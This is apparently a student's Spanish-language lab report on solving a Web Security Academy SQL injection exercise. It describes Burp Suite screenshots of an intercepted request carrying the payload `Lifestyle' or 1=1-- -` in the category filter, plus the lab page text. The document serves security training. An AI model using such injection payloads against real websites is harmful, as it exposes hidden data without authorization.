

## Actividad 4: Laboratorio

### GET /filter?category=Lifestyle' or 1=1-- - HTTP/2

The screenshot shows the Burp Suite interface with the 'Intercept' tab selected. The request is a GET request to `https://0a2600b803b08d89825d155f006e00cd.web-security-academy.net:443` with the following details:

- Method: GET
- URL: `/filter?category=Lifestyle' or 1=1-- - HTTP/2`
- Host: `0a2600b803b08d89825d155f006e00cd.web-security-academy.net`
- Cookie: `session=5wC8aLgbrNZcFeBNnDaFEqESalZX7qxh`
- User-Agent: `Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0`
- Accept: `text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8`
- Accept-Language: `es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3`
- Accept-Encoding: `gzip, deflate`
- Upgrade-Insecure-Requests: `1`
- Sec-Fetch-Dest: `document`
- Sec-Fetch-Mode: `navigate`
- Sec-Fetch-Site: `none`
- Sec-Fetch-User: `?1`
- Te: `trailers`

The 'Inspector' panel on the right shows the selected text and the decoded request body.

The screenshot shows the Web Security Academy lab page for the 'SQL injection vulnerability in WHERE clause allowing retrieval of hidden data' lab. The lab is marked as 'Not solved'.

**Web Security Academy**

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

[Back to lab home](#) [Back to lab description >>](#)

[Home](#)

WE LIKE TO  
**SHOP**

Lifestyle' or 1=1-- -

Refine your search:

[All](#) [Accessories](#) [Clothing, shoes and accessories](#) [Corporate gifts](#) [Lifestyle](#)

WebSec Academy

Esta vez, busque con:

Back to lab home

Back to lab description >>

LAB

Not solved



## Corporate gifts

Refine your search:

All

Accessories

Clothing, shoes and accessories

Corporate gifts

Lifestyle